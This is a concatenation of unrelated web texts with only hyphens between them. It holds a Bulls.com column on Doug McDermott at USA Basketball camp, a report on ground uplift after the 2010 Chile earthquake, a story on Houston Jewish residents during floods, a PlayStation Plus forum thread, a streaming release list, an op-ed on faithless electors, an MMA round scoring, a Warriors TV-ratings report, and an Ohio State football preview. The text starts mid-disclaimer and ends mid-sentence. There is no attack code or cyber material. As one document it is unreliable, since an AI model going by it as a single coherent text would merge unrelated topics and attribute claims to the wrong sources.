Chicago Bulls. All opinions expressed by Sam Smith are solely his own and do not reflect the opinions of the Chicago Bulls or its Basketball Operations staff, parent company, partners, or sponsors. His sources are not known to the Bulls and he has no special access to information beyond the access and privileges that go along with being an NBA accredited member of the media. By Sam Smith | 08.04.2014 | 10:00 a.m. CT | asksam@bulls.com | @SamSmithHoops It was during one of the USA Basketball scrimmages last week with the 20 hopefuls and the Select Team of young NBA players in the role of basketball tackling dummies. Bulls rookie Doug McDermott, who had been impressive with his shooting, was wide open several times as teammates Marcus Smart and Victor Oladipo kept ignoring him. USA coach Mike Krzyzewski laughed as he saw the young guards missing their shooter and turned to Bulls coach Tom Thibodeau, who is a USA assistant. “You going to let him shoot?” Krzyzewski said with a laugh. “He’s going to shoot,” responded Thibodeau. And it could be one of the more intriguing early stories of this Bulls 2014-15 season. Much of the attention last week at USA Basketball camp in Las Vegas was on the return of Derrick Rose, his play and his health, which seems strong. The offseason Bulls story was Carmelo Anthony and Kevin Love, which transitioned to the signings of Pau Gasol and Nikola Mirotic. Not exactly lost in all of that, but left behind, was the draft day trade to acquire the rights to Creighton shooting forward Doug McDermott for two first round draft picks and two seconds. The moves once again have imbued the Bulls with impressive depth and perhaps the best front line in the NBA with Defensive Player of the Year Joakim Noah, Sixth Man runner up Taj Gibson, Gasol, a four-time All Star and Mirotic, the two-time best young player in Europe award winner. There’s the return of MVP Rose with high level backups in Kirk Hinrich and Aaron Brooks. Of course, the absence of Rose was the principal flaw in the Bulls offense the last two seasons. But even with Rose, there are questions about shooting. In McDermott, the Bulls have potentially one of the best young shooters in the game. “I think he’s really good,” said Kyle Korver, arguably the game’s best shooter in setting the all-time record for consecutive games with three pointers last season. “He’s got the right temperament and mindset; he’s not going to get down when things don’t go his way, gets pulled out. Has the right head for that situation. He’s got great balance to his shot. He’s got great technique and form. He’s always on balance. To be a great, consistent shooter you have to be sound. His legs are sound under his shot. He’s got a form that can endure. I’ve been really impressed with his shooting. I knew he was a good shooter. I didn’t know he was as good a shooter as he’s shown.” Which raises an intriguing question for the Bulls this season: Start a rookie? Most coaches don’t do that with good teams ready to compete, as the Bulls are. Though Rose did pretty well starting. McDermott is no Michael Jordan or Magic Johnson, obviously. But as a four-year college player who plays a complementary game and probably is the best shooter on the Bulls roster, it’s hardly a ridiculous notion to have him start with a veteran group with Rose, Noah, Gasol and probably Jimmy Butler at shooting guard. Which probably would benefit someone like McDermott even more. “He’s on a great team for him to fit in well,” said Korver. “There’s a real need for his skill set. He’s going to learn how to play defense. He’s going to have Jimmy taking the No. 1 (offensive) guy. He’ll get the second guy. There’s no two and three in Thibs’ offense. You’re the guy who’s coming off the doubles [screens]. Or you’re the guy who’s not coming off the doubles almost for the wing. He’s going to be the guy coming off the doubles and he’s going to be able to shoot that thing and put a lot of pressure on the defense. (The Bulls) have added a lot of pieces. He’s got a really good feel for the game. He got the ball a lot at Creighton, but it wasn’t like him getting the ball and holding it, making a one-on-one move. He learned to play without the ball and that’s so important in Thibs’ offense. You can’t have everybody be a drive-and-kick guy. You have to have shooting. You have to have the guy who shoots the ball after the drive and he’s going to be able to do that.” The view heading into the season is the starting lineup will be Rose, Butler, Mike Dunleavy, Gasol and Noah. Though the Bulls added players and have enviable depth, the potential weakness remains shooting guard as Butler is more naturally a small forward. It’s why someone like Dunleavy needs to be in the lineup to keep the floor spread for Rose’s drives. But it’s asking a lot after Dunleavy started so many games last season when his role was supposed to be a reserve. After all, with all that depth you should be nursing your players more for the post season. It also doesn’t make a lot of sense to start Rose with Hinrich since Hinrich isn’t a shooter who occupies the defense and then have Butler at small forward. None of the main front line players are three-point shooters other than Mirotic, who is, at best, a fourth forward. The ideal would seem to keep Butler at shooting guard, but pair him with McDermott to keep a great shooter on the floor and then have Dunleavy being preserved for the season by coming off the bench. Not that anyone is lobbying at this point. But Rose watched McDermott with the Select Team last week and liked what he saw. “He rarely messes up,” said Rose. “He never pushes the issue, I would say. He never tries things he can’t do. He knows exactly what type of play he wants. For me, I need him because you can’t leave him. He has a lot of confidence in his shot, and he works on his shot every day. When I was playing with him while we were back in Chicago, I had to tell him whenever he’s open, I’m passing him the ball and he better shoot or I’m going to yell at him every time. If you can shoot, you can fit in.” It obviously would be a big step for McDermott, but he’s been taking them each year and improving. “Being a college guy last year (with the Select Team in a USA camp), I don’t think anyone knew who I was,” said McDermott, who headed for rookie orientation from Las Vegas. “I was getting a lot of open looks. I don’t think they knew I was a shooter. This year guys (on defense) are starting to find me more. They are a lot more physical with me. The biggest takeaway for me is how physical it is and how good they really are. “This year I’m doing a better job rebounding and defending,” McDermott said before leaving camp the end of last week. “Maybe not getting as many open looks as last year, but I am making the most of them, making better reads off screens, trying to improve in different areas. Not just shooting. Whether I’m getting the shot or not, I’m getting a lot of attention on the screens because guys view me as a shooter. It leaves open areas for other guys. “I feel I can guard a wing fine,” said McDermott. “An undersized four I can also guard because that’s who I guarded in college. It’s going to be a huge adjustment period for me. But having coach Thibodeau and the veterans guys will help. I’ve become good off that floppy action, the down screens, curling. Always watched Kyle. He’s so good at setting his man up. That’s what coach Thibodeau has talked to me about.” Just then Korver, who also went to Creighton, walked by as McDermott was doing his interviews. “The real hot sauce,” McDermott said nodding at Korver with a laugh. Stacey’s got another guy! “He’s really excited to be there,” said Korver. “He’s going to learn so much from Thibs. Early on in my career, I wish I would have had someone like Thibs to show me how to play really good team defense. That would have helped me a ton in my career. I feel like a lot of the success I’ve had the last couple of years is because of what I learned in Chicago. Being there with Thibs and learning how to play defense and being in an awesome, championship-caliber culture was really big for me. So Doug’s going to get that right now, like right at the very beginning, and it’s only going to do great things for his career. He takes the game very serious. He plays with a chip on his shoulder. He plays with an edge. He wants to be really good and he’s going to work for it. He doesn’t just want it; he wants to work for it. He dealt with every kind of defense. He’s been prepared for the NBA in so many ways, just in how he was guarded all the time, the pressure that was on him in Omaha, at Creighton. He’s a younger guy, but emotionally, he’s very mature. “The thing I told him is you don’t have to drive that traffic every day,” Korver said with a laugh. “I can go back (to the Bulls) and do either Thibs or the traffic, but I could never do both again. I was like, ‘You don’t know how good you have it.’ I say that in fun, obviously.” And McDermott seems to be having plenty of fun already. “I’ve come a long ways,” McDermott conceded. “It’s pretty crazy to be invited here two years in a row. I’m real thankful for that. I don’t want this to be the highlight of my career, though. I want to be back here on a bigger stage. They (Bulls) did a great job putting together a terrific team. Without D. Rose, they struggled to score a little. I feel they added a lot this offseason that can help with Pau and others. So that was huge.” Asked about what he could bring, McDermott responded: “A great shooter, but not just a shooter. A guy who plays hard every time, has a great motor, great instincts. People have questioned my athleticism, but I think I ‘m a decent athlete as well and can guard different positions.” And his coach for the Select Team last week, Northwestern’s Chris Collins, agrees. “I coached J.J, Redick in college and it was all this, the similar critics saying, ‘Who is he going to guard, how’s he going to be a pro?’ Guys like that who have scored 3,000 points in college and every game they played in college they put two guys on him and tried to take him out of everything and they still scored 30 a game, those guys are really good players,” said Collins. “That’s why I know Doug will figure out a way to be a very good pro. “He hasn’t been intimidated,” Collins added. “That’s the first step. When you are a rookie and get around very good players who have the names: Are you knocked back by the environment? But he’s played with confidence. For him, this is unique. You’re playing against a team with Kevin Durant, Paul George and Anthony Davis together, that length. He’s learning the window to get your shot off is much quicker. How he can get open and what he can do. As the week has gone on he’s gotten better and better. I’m excited to watch him being in Chicago myself. I think he’s the perfect complement to the star pieces they put together. “He can really come off screens,” Collins added. “He knows how to play off the ball. He’ll be a great spacer. He’s an underrated defender. He knows concepts. He’s more of a three. He doesn’t miss. If he gets his feet set, he doesn’t miss. His stroke is lights out. The NBA three is no problem for him.” Which is vital since it’s been a big problem for the Bulls. If McDermott can be that shooter, that floor spacer and that threat, it’s hardly unreasonable to believe he can be the starting small forward. After all, he just played against the best players in the NBA with strong performances. “He’s a basketball player,” said USA coach Mike Krzyzewski of McDermott. “He’s smart and he can shoot the heck out of the ball. He doesn’t need the ball long, so he’s an easy guy to play with. He can stretch a defense. He knows the game. He doesn’t dominate the ball, so he’s an easy teammate. But because he has that scoring ability, he gives space and the ball to his teammates. Pretty good. Not cocky, a great kid. He’s going to be a good guy for the Bulls.” -The Chilean earthquake that struck on Feb. 27 changed the country’s landscape by raising the ground by more than 8 feet near the coast and sinking land farther inward, a new study finds. Chile is situated atop a hotspot for earthquake activity, so learning how this magnitude 8.8 quake moved the land will tell scientists more about what causes large earthquakes. The massive earthquake struck south-central Chile and was the fifth largest temblor ever recorded by modern seismology. A nearby part of Chile gave birth to the largest earthquake ever recorded — a magnitude 9.5 earthquake that struck in May 1960 and killed 5,700 people. Since 1973, 13 quakes of magnitude 7.0 or greater have hit the coastal country, according to the U.S. Geological Survey (USGS). IN PICTURES: Earthquake in Chile Scientists have now confirmed for the first time that the 2010 quake ruptured a long fault along the coast of Chile, and found that it raised land to a higher elevation in the south and sunk the Earth's surface in the North, according to the study. To the scientists patrolling the coast, the change is obvious. "You can just see the sea shells and sea weed hanging in the air, about head high," said Michael Bevis, a geophysicist at Ohio State University who was not involved with the study but has conducted his own studies of the Chilean coast. "You see all this stuff that belongs underwater is now up in the rocks." Researchers found a white fringe formed by a kind of dead algae that is common along the Chilean coast. These normally pink algae are bleached by sunshine, and gave researchers a direct way to measure the grounds' uplift. [See images of Chile's raised coast] Using the algae as a marker, the research team, led by Marcelo Farias at the University of Chile, found that the largest uplift was roughly 8.2 feet (2.5 meters) at the Arauco Peninsula. The uplift also shifted the coastline in some places 1,640 feet (500 m) toward the ocean. Measuring how much the land sank was somewhat trickier. The researchers gauged sinking by measuring how high the water had risen on vegetation and manmade constructions like bridges. A 3.3 foot (1 m) drop in land was measured in some parts, but the study acknowledges some uncertainly about the subsidence level because of the difficulty in knowing the water levels before the quake hit, and exactly how these water levels changed after the quake. Despite this uncertainty, the research team arrived at the site of the quake so quickly — taking measurements within a month of the rupture — that they were able to measure the sudden jump of the land that happens after an earthquake, Bevis said. This is important because the land continues to shift over time. Separating out the various ground movements is one step toward painting a picture of how the land moves during massive quakes. The new study is just one of many studies currently investigating the Chilean earthquake, which Bevis said "will probably turn out to be one of the most important earthquakes ever in terms of scientific impact." "We've instrumented the crap out of the fifth biggest quake ever," Bevis told OurAmazingPlanet. "When we put this data together we're going to figure out what happened during and after the earthquake with an impressive level of detail." Other movements around South America caused by the earthquake include: The Chilean city of Concepción moved at least 10 feet (3 meters) to the west. Buenos Aires, the capital of Argentina and across the continent from the quake's epicenter, moved about 1 inch (2.5 centimeters) to the west. Chile's capital, Santiago, moved about 11 inches (28 cm) to the west-southwest. The cities of Valparaiso and Mendoza, Argentina, northeast of Concepción, also moved significantly. The study is detailed in the July 29 edition of the journal Science. IN PICTURES: Earthquake in Chile -As floods triggered by days of heavy rain overwhelm Houston, the city’s Jewish community is scrambling to rescue those stranded by the fast-rising water. Steven Paletz, 27, had been away for the Jewish holiday this weekend, returning last night to find six feet of water in his Houston home. He then watched his dining room table float away. “My wife and I went to a sports store and bought a raft,” Paletz told the Forward. “Whoever has a kayak has been going down the street picking people up one by one.” Houston’s Jewish community numbers about 50,000, according to Lee Wunsch, President and CEO of the Jewish Federation of Greater Houston. “The flooding was very widespread,” Wunsch told the Forward, adding that “the heaviest hit neighborhoods happen to have large Jewish communities.” Wunsch said that due to the extraordinary paralysis of the city’s infrastructure, the extent of the damage won’t be known for a couple of days. “There’s flooding like I’ve never seen before, and I’ve been in Houston a long time,” Wunsch added. At least four people have been killed in weather-related incidents in the Houston area, authorities said. More rain was expected Wednesday. Paletz lives in Willow Meadows, a Houston neighborhood that is a hive of Jewish life, and is president of the local Civic Association. He also serves on the board of his shul, the United Orthodox Synagogues, which has been inundated with about five feet of water. For Paletz all of this is new (“I’m from California — we get earthquakes not floods,” he explained). But Houston has been through this before. After the devastation of Tropical Storm Allison in 2001, many people in the area rebuilt their ruined houses at a significant elevation, in compliance with new regulations. That foresight has apparently paid off. This time around, those elevated homes have become a refuge for the displaced and suddenly homeless, hovering safely above incoming waters. “People whose homes were rebuilt then are now gathering people in,” Paletz said, demonstrating how neighbors were taking care of one another even as the city struggles to deal with the chaos. “During times of crisis, members of the Jewish community will host one another for weeks,” said Eitan Urkowitz, whose grandfather, Joseph Radinsky, rabbi emeritus of United Orthodox Synagogues, was paddled to safety by a neighbor in a canoe. “After a hurricane a few years back, one family on my side of town had power so they hosted 100 people for lunch and dinner every day for a month.” This story "Houston Jewish Community Scrambles To Cope With Flooding" was written by Jesse Lempel. -User Info: Aerosoldier Aerosoldier 5 years ago #1 PS4 -Don't Starve PS3- Bioshock Infinite - DmC - Brothers PS Vita- Smart as... - Worms Battle Islands Best month ever!!!!!!!!!!!!!!!!!!!!! Oh hypocrisy! A World full of n00bs indeed! Enter the psn store via PS3, go to free games, and in on the last banners a video will charge with a preview of the january free plus games!!!!!!!!!!!!!!!!!!PS4 -Don't StarvePS3- Bioshock Infinite - DmC - BrothersPS Vita- Smart as... - Worms Battle IslandsBest month ever!!!!!!!!!!!!!!!!!!!!! User Info: JohnHitman47 JohnHitman47 5 years ago #2 Love good shooters. EU? User Info: DotsAndLines DotsAndLines 5 years ago #3 WARNING: This post may contain OPINIONS. Opinions that may differ from yours. Do not read if you are unable to handle it with maturity. LOL no one wants to play DmC so now it's free already. More proof that the game is garbage (Even though we don't need any more proof at this point). User Info: JohnHitman47 JohnHitman47 5 years ago #4 DotsAndLines posted... LOL no one wants to play DmC so now it's free already. More proof that the game is garbage (Even though we don't need any more proof at this point). So by that logic every game on Plus its garbage, good to know. Love good shooters. So by that logic every game on Plus its garbage, good to know. User Info: Snowthaproduct Snowthaproduct 5 years ago #5 JohnHitman47 posted... EU? Has to be. Checked both my eu and us accs. Its free for EU I <3 Ke$ha. Uffie best female Rapper. Ps3 only console I own. Has to be. Checked both my eu and us accs. Its free for EU User Info: RyuVegas RyuVegas 5 years ago #6 DotsAndLines posted... LOL no one wants to play DmC so now it's free already. More proof that the game is garbage (Even though we don't need any more proof at this point). Considering games like Borderlands 2, SOTC and Ico and others were just released last month for free, which are widely considered amazing games, this statement has no merit. Go take your DmC hate somewhere else. God I will HATE this if this is EU only and us Americans get s*** again. But January is still a full week away so I have that long before I'll probably end up hating how many great games EU gets over US. http://backloggery.com/ryuvega NP- LoZ:ALBW, Borderlands 2, RaC:ItN 'I've seen Ryu on the MtG board so he's already cooler than most of you.' ~ XImperialDragon Considering games like Borderlands 2, SOTC and Ico and others were just released last month for free, which are widely considered amazing games, this statement has no merit. Go take your DmC hate somewhere else.God I will HATE this if this is EU only and us Americans get s*** again. But January is still a full week away so I have that long before I'll probably end up hating how many great games EU gets over US. User Info: Aerosoldier Aerosoldier (Topic Creator) 5 years ago #7 JohnHitman47 posted... EU? USA!!!!! Oh hypocrisy! A World full of n00bs indeed! USA!!!!! User Info: Aerosoldier Aerosoldier (Topic Creator) 5 years ago #8 RyuVegas posted... DotsAndLines posted... LOL no one wants to play DmC so now it's free already. More proof that the game is garbage (Even though we don't need any more proof at this point). Considering games like Borderlands 2, SOTC and Ico and others were just released last month for free, which are widely considered amazing games, this statement has no merit. Go take your DmC hate somewhere else. God I will HATE this if this is EU only and us Americans get s*** again. But January is still a full week away so I have that long before I'll probably end up hating how many great games EU gets over US. January is two weeks away, next tuesday is 31th :( Oh hypocrisy! A World full of n00bs indeed! January is two weeks away, next tuesday is 31th :( User Info: DotsAndLines DotsAndLines 5 years ago #9 JohnHitman47 posted... DotsAndLines posted... LOL no one wants to play DmC so now it's free already. More proof that the game is garbage (Even though we don't need any more proof at this point). So by that logic every game on Plus its garbage, good to know. Learn to read. In any case it's true that Free Plus game are either really old or just crap. They're not gonna make much profit from the game anymore, that's why they put it up for free. WARNING: This post may contain OPINIONS. Opinions that may differ from yours. Do not read if you are unable to handle it with maturity. Learn to read.In any case it's true that Free Plus game are either really old or just crap. They're not gonna make much profit from the game anymore, that's why they put it up for free. -Coming Soon Bloodride A Norwegian anthology series that blends horror with dark Scandinavian humor, setting each distinct story in its own realistic yet weird universe. Cricket Fever: Mumbai Indians Follow Indian Premier League champions Mumbai Indians through the 2018 season in this series featuring insider insights and intense cricket action. Shadow and Bone Sinister forces plot against a young soldier when she reveals a magical power that might unite her world. Based on Leigh Bardugo's Grishaverse novels. Living with Yourself A man who's burned out on life and love undergoes a mysterious treatment, only to find that he's been replaced by a better version of himself. Ultraman Years after Ultraman disappeared, Shinjiro learns of his connection to the legendary hero and dons the metallic ultra-suit to fight new aliens. Mixtape This romantic musical drama follows the love stories connecting an eclectic group of people in modern-day Los Angeles. Tuca & Bertie Two bird women -- a carefree toucan and an anxious songbird -- live in the same apartment building and share their lives in this animated comedy. Baahubali: Before the Beginning Based on Anand Neelakantan’s book, this prequel series to India’s epic fantasy franchise traces the dramatic rise of Queen Sivagami and her empire. -Much has been made by the Trump campaign about the 2016 election being rigged . Trump himself exclaimed that "We'd better be careful, because that election is going to be rigged. And I hope the Republicans are watching closely or it's going to be taken away from us." Four years ago, I argued that rogue electors threaten the integrity of presidential elections . Donald Trump's tumultuous week brought this concern back into the spotlight as a Georgia Republican presidential elector (Baoky Vu) vowed he would not support Trump if he were to carry his state . Within 24 hours, he resigned his position, but concerns over elector faithfulness remain. Although so-called faithless electors rarely occur, including ninein the last 17 elections, a surprising number of electors consider doing so. Ten percent of electors gave some thought to defecting in 2004, 11.5% in 2008 (including 20% of Republicans), and 7% in 2012 (including 10% of Republicans). As a point reference, 10% of the Electoral College is akin to the entire state of California (the largest prize in the Electoral College). If such an event were to occur, it would trigger a constitutional crisis of epic proportions. In my investigations, one elector noted that he believed he had a duty to vote his conscience if he were to find out that his party's nominee was a "madman" in the time between the nation votes and the time the Electoral College votes. There is little to stop electors from asserting their independence . While just over half of the states require pledges from electors, few constitutional law experts believe these pledges could be enforced. A handful of states try and discourage faithless electors by criminalizing the act. Most of these states created these laws after electors cast faithless ballots. Recent members of the Electoral College have been subjected to intense lobbying campaigns . At least one elector in the 2000 election received a death threat, and many others received computer viruses. Birthers in 2008 contacted nearly 80% of electors and urged them to withhold their vote for Barack Obama because of their concerns over his citizenship. They called upon electors to exercise their independence as a last defense against an Obama presidency. I am certain members of the 2016 assemblage will also be lobbied -- especially if Trump manages to win. Given the acrimonious nature of the Republican primaries and his departure from many traditional Republican beliefs, it would appear that Trump would be ripe for elector defections. It is likely that supporters of Cruz, Rubio, Bush, Kasich and Paul will make their way into the Electoral College. It is also likely they are not big fans of Donald Trump. Those who consider defecting are different from their more committed counterparts. This is particularly true in their support of primary candidates. These "wavering electors" are far more likely to have supported someone other than their party's nominee during their party's primaries. While they are strong partisans, they are not necessarily attached to the top of their party's ticket. Trump's polarizing nature, not just among Democrats, but also among Republicans, may be just the recipe to stimulate multiple defections among electors -- thereby providing some "proof" of a rigged election to Trump supporters, regardless of whether or not he were to win a majority of the votes in the Electoral College. As November 8 approaches, much greater attention will be devoted to the Electoral College. Efforts to get Republican electors to abandon Trump will undoubtedly be met with great resistance and inflammatory rhetoric by his campaign. Trump's supporters are particularly ardent and prior to his earning a majority of the delegates, we can recall his own warning about riots in the streets if he did not win the Republican nomination Former U.S. representative and shooting victim Gabby Giffords stated that Trump's words "may provide inspiration or permission for those bent on bloodshed." Her comments are particularly striking given the warnings of Roger Stone, a longtime Trump adviser. Just last week, he said the Trump campaign should prepare for post-election measures , going so far as to suggest a "bloodbath" could occur among Trump supporters. "The government will be shut down if they attempt to steal this and swear Hillary in." Some are openly advocating for an Electoral College stop-gap in the event that Donald Trump wins the vote on November 8. Many electors believe they should serve as a check in the system. In spite of the fact that the process has evolved, electors will be asked to have a significant part to play in the 2016 campaign. Those asserting their independence would surely fuel greater cynicism and augment fears about a broken electoral process and in so doing give legitimacy to Trump's claims of a rigged system. While the likelihood of electors changing the outcome of the general election is extremely remote, the chance that they could feeds into the Trump narrative of a rigged process and encourages additional conspiracy theories among his supporters. Doing so ensures voters would have no surprises from electors and remove any fears elections could be tampered with by this shadowy body. -Round 3. Kelly immediately looks to close distance. He eats a knee to the body in the process. They exchange punches with each man landing. Kelly goes for a takedown and it is blocked again. Montgomery's punches are crisper at this point of the fight but Kelly still has good power. Kelly lands his big left hand a couple times and some knees. Kelly gets a takedown with 90 seconds left. Montgomery tries to get up and Kelly takes his back. Kelly looks for a rear naked choke but can't get it. Kelly transitions into an armbar attempt but doesn't get it. He then rolls into side control and then mount. He lands a series of punches, really turning it on late. Kelly looks for an arm triangle choke late but can't get it. 3rd round was close but Kelly definitely pulled it out at the end. 10-9 Kelly, 29-27 Kelly. -Warriors sweep local TV ratings Editor’s note: This story is revised from the print edition. The Golden State Warriors’ march to 73 wins gave them not only a regular-season record for victories this year, but also a triple crown of sorts for local TV ratings: the top average rating among all NBA teams for the season, the biggest year-over-year rating increase, and the largest average viewership per game. The Golden State Warriors, led by Steph Curry, have seen gains in local viewership six consecutive years. This marks the sixth consecutive year the Warriors have seen gains in local viewership — the first time any NBA or NHL team has seen six straight years of ratings gains. Warriors games on CSN Bay Area averaged a 9.76 rating (243,000 homes) this season, a whopping 160 percent increase from last year’s average rating. For their season finale, when they won their league-record 73rd game, the team drew a huge 23.2 rating on CSN Bay Area, a number the RSN said is the highest for any NBA regular-season game across any RSN. CSN Bay Area’s top three telecasts are now all Warriors games from this season. “Our market bucks the trends,” said Warriors President and COO Rick Welts. “What is different is beyond the wins and losses is a combination of style and play that attracts people, but also the personalities of the individuals that is bringing people to NBA basketball [in] this market and other markets. There is a certain vibe that this team gives off in how they play.” The Cleveland Cavaliers (9.31 rating on FS Ohio) and San Antonio Spurs (8.71 rating on FS Southwest) joined the Warriors at the top of the RSN ranking for the season. It’s the first time in at least 10 years that three NBA clubs have posted a season ratings average above an 8.0. The Cavaliers’ local TV rating is the highest ever recorded for the team. SportsBusiness Journal analyzed ratings data for teams across the NBA; information for Memphis, Utah and Toronto was not available. While the stories were strong in Golden State, Cleveland and San Antonio, such was not the case leaguewide. In fact, 17 of the 27 teams measured saw year-over-year declines in their local ratings this season. The Atlanta Hawks registered the league’s biggest decrease, despite making another playoff run. Hawks games on FS Southeast averaged a 1.2 rating, down 45 percent from last year — though that average is on par with Hawks ratings in recent years. Before their 2.18 average for 2014-15, the Hawks’ average rating in the six seasons prior ranged between a 0.97 and a 1.4. In Los Angeles, Kobe Bryant’s final season did nothing to help Lakers ratings on TWC SportsNet. The team’s 1.51 rating (83,000 homes) was down 3 percent from 2014-15, setting a historic low for a third consecutive season. TWC SportsNet launched with Lakers rights for the team’s 2012-13 season. Brooklyn Nets games on YES Network were the league’s lowest-rated games for the second straight year and seventh time in the last nine years. Nets games averaged a 0.46 rating (34,000 homes). Meanwhile, Dallas Mavericks games on FS Southwest dropped to their lowest point since the 2008-09 season. This season’s 1.58 average rating for Mavs games was down 35 percent from last year as the team saw its record dip to 42-40 this season compared with 50-32 last year. -CLOSE USA TODAY Sports' college football writers break down the Big Ten, which is getting two new members this year. USA TODAY Sports' Paul Myerberg counts down to the start of the college football season team by team from No. 128 to No. 1. Michael Bennett is an all-America candidate on the nation's best defensive line. (Photo11: Greg Bartram, USA TODAY Sports) Like a crafty magician, the greatest trick Braxton Miller ever pulled was making the impossible seem probable. The rabbit was always in the hat, just tucked away; the card you were looking for was up your sleeve the whole time; Miller only made things look effortless, thanks to overall athleticism unmatched at the position in college football. Miller was – is, rather, and will be again, hopefully – the sort of quarterback who could complete all of six passes against rival Michigan yet still account for 275 yards of total offense and four touchdowns. Or, against the Big Ten's second- and third-best pass defenses, complete 39-of-52 attempts for 450 yards and six touchdowns without an interception. It hurts, it stings and it's totally unprecedented, and Ohio State has to understand that in the history of this sport, no would-be championship contender has lost a Heisman Trophy-caliber quarterback this close to the eve of the regular season. Ohio State will instead have a redshirt freshman, J.T. Barrett, and history is again not on the Buckeyes' side: Only two freshman quarterbacks in history – Bernie Kosar and Jameis Winston – have started every game for a national champion. Here's where it hurts: For the Buckeyes, the impossible is no longer probable – it's possible, always possible, but not probable. The Buckeyes no longer have a quarterback capable of pulling single-play victory from the jaws of defeat, for example; Miller made things happen when others would've ducked and covered, unwilling and unable. And so the offense returns to square one at its most crucial position. Barrett has been described as a "field general," as his high school coach told The Columbus Dispatch. That helps explain a mindset shift: Barrett won't be asked to do the impossible but the mere possible, caretaking an offense with an excess of talent at the skill positions. This won't hurt Ohio State against Maryland, Rutgers, Illinois and Minnesota, though one can make the simple case of Miller's dynamism holding the key to a win in East Lansing, for example. In short, the team-wide preseason standard has subtly changed: OSU is no longer the favorite in the Big Ten Conference. At least Urban Meyer has been here before. It's Sept. 6, 2003, and Utah quarterback Brett Elliott breaks his wrist diving to complete a two-point conversion late in a loss to Texas A&M. Gone, done, out for the year – year over. Then comes Elliott's replacement, a lanky and unimposing sophomore named Alex Smith, and the Utes would lose only once for the remainder of Meyer's tenure. LAST YEAR'S PREDICTION : OSU will roll from the start, facing little noticeable challenge in non-conference play before turning its gaze to the Big Ten, where Wisconsin, Northwestern and Michigan seen the only teams on the slate capable of knocking the Buckeyes down a peg. Do I think the Buckeyes go undefeated? They should. 2013 RECAP : In a nutshell: The way last season ended raised eyebrows, obviously, with losses to Michigan State and Clemson ending OSU's title chances and hopes for entering the offseason on a high note, respectively. Meyer's response was to stay the course: He didn't feel the need to reach out to any of his coaching peers and mentors, Meyer said at Big Ten Media Days, because the Buckeyes' mentality – or sense of purpose, or whatever buzzword exemplifies the program's mental fortitude – remained intact. That's a positive, as is the idea that OSU, as a program, needed to taste a little bitter adversity before leaping to the top of the Football Bowl Subdivision. That step takes a hit in 2014, clearly, but the Buckeyes' long-term blueprint will be better off for last year's fall from grace. High point: Beating Michigan. For a single play, at least, the Buckeyes' defense was all-world. Low point: Michigan State. And so a rivalry was born. Tidbit: Last November's win against Michigan marked the Buckeyes' first one-point victory in the history of the rivalry. In only 13 other meetings – 1944, 1958, 1963, 1972, 1974-75, 1979, 1981, 1987, 2001-2, 2005 and 2012 – was OSU's margin of victory less than a touchdown. Tidbit (consistency edition): Ohio State leads the country with 88 seasons in a row without posting back-to-back losing records. Since the streak began in 1925, OSU has had just six losing seasons altogether: 1943, 1947, 1959, 1966, 1988 and 2011. ARBITRARY TOP FIVE LIST : 19th century papal bulls 1. Apostolicae Curae 2. Ineffabilis Deus 3. Pastor aeternus 4. Apostolicæ Sedis Moderationi 5. Reversurus PLAYERS TO WATCH : Offense: It will be J.T. Barrett against Navy and for every game from that point forward, hinging on production, and the Buckeyes will tweak this entire offense to better suit his skill set. Translated: Run, run, run. For now, it's easy to see Tom Herman trade explosiveness from the position for simple consistency, particularly in the read-option running game. Gone are the Miller-led running plays, replaced by the backfield-led action – basically, a running game that begins with a stable of gifted running backs and then moves to the quarterback rather than vice versa, as was the case throughout Miller's turn in this system. That's not to say Barrett isn't athletic enough to make things happen; he showed some solid burst in the spring game, for example, and will allow the offense to maintain a similar flavor. It'll just be less explosive – but you knew that already. New Ohio State starting quarterback J.T. Barrett will not be without tools on offense. (Photo11: Andrew Weber, USA TODAY Sports) Barrett will keep this job if he stays healthy and productive. If not, OSU will turn the offense over to sophomore Cardale Jones, the Buckeyes' sole quarterback with any experience – all three games and two pass attempts of experience, if that means anything. What Jones has is stronger physical gifts, if only by a nose, but I don't think that's so vital to this staff: Herman would rather have a distributor than a scorer, if you'll excuse the mixed-sports metaphor, and Barrett seems to embody the sort of do-the-right-things mindset the Buckeyes' staff desires from the Miller-less position. The bottom line, painful as it may be: OSU isn't winning the national title with Barrett at quarterback. The Buckeyes can still win the Big Ten. At some point very soon – though perhaps not until the second or third game of the season – OSU will hammer down a rock-solid backfield rotation. Injuries have slowed this process a bit as fall camp comes to a close, but the basic formation seems set: Ezekiel Elliott (262 yards), Rod Smith (117 yards), Dontre Wilson (250 yards), Warren Ball and Curtis Samuel will lead the charge, with Elliott and Smith the favorites to start but all five – with Ball perhaps the odd man out, to a degree – contributing in huge numbers for a reworked running game. Smith's spot is secure thanks to his experience, which can't be overlooked in a unit otherwise loaded with freshmen and sophomores. If used in tandem, Smith's size and Elliott's burst could be electric. The wildcards are Wilson and Samuel, with the former already among the Big Ten's most dangerous backfield-receiver hybrids and the latter, a true freshman, seemingly cut from the same cloth. Ohio State's Ezekiel Elliott (15) is a key piece of an extremely deep and fast Buckeyes running back corps. (Photo11: Trevor Ruszkowski, USA TODAY Sports) It's frustrating: Miller goes down just as Meyer and Herman seemed to corral the right mixture of talent at receiver – the weak link in the offensive chain in each of the staff's first two seasons. Though Barrett might struggle getting this group involved, you have to like its overall makeup. Senior Devin Smith (44 receptions for 660 yards) leads the charge, taking on the mantle of go-to target, while Wilson seems more and more likely to spend the majority of his time in the slot. There'll always be a role for senior Evan Spencer (22 for 216), if only thanks to reliability. At tight end, OSU has a clear all-conference pick in senior Jeff Heuerman (26 for 466) and a solid backup in junior Nick Vannett. It's a bit more uncertain from there, though not for a lack of options: Georgia Tech transfer Jeff Greene or sophomore Michael Thomas could start at flanker, for example, giving OSU some major size, and the Buckeyes need to find a way to get speedy underclassmen such as James Clark and Johnnie Dixon involved in multiple-receiver sets. In total, this is the strongest receiver corps of Meyer's tenure. Quarterback J.T. Barrett would be wise to look often to wide receiver Devin Smith (9), Ohio State's leading returning receiver, this season. (Photo11: Rick Osentoski, USA TODAY Sports) Defense: So this defense, one that played at a miserable level for much of last season, must take on the challenge on winning games for the Buckeyes. Helping matters are three enormous factors: one, a ridiculously good front four; two, the sense that the entire defense is just scratching the surface of its potential; and three, a very nice offseason hire in new co-coordinator Chris Ash, who should have a positive impact on an underachieving secondary. The pass defense, last year's teeth-gnashing pain, will benefit from one of the nation's best defensive fronts. But the secondary is raw, if blessed with talent, and expecting a wholesale shift from the bottom to the top might be too much to ask. It's safer to ask for the following: improvement. Only one full-time starter, senior cornerback Doran Grant (58 tackles, 3 interceptions), returns from a season ago – and he'll need to play like a stopper, as he should. The defensive hero of last year's victory against 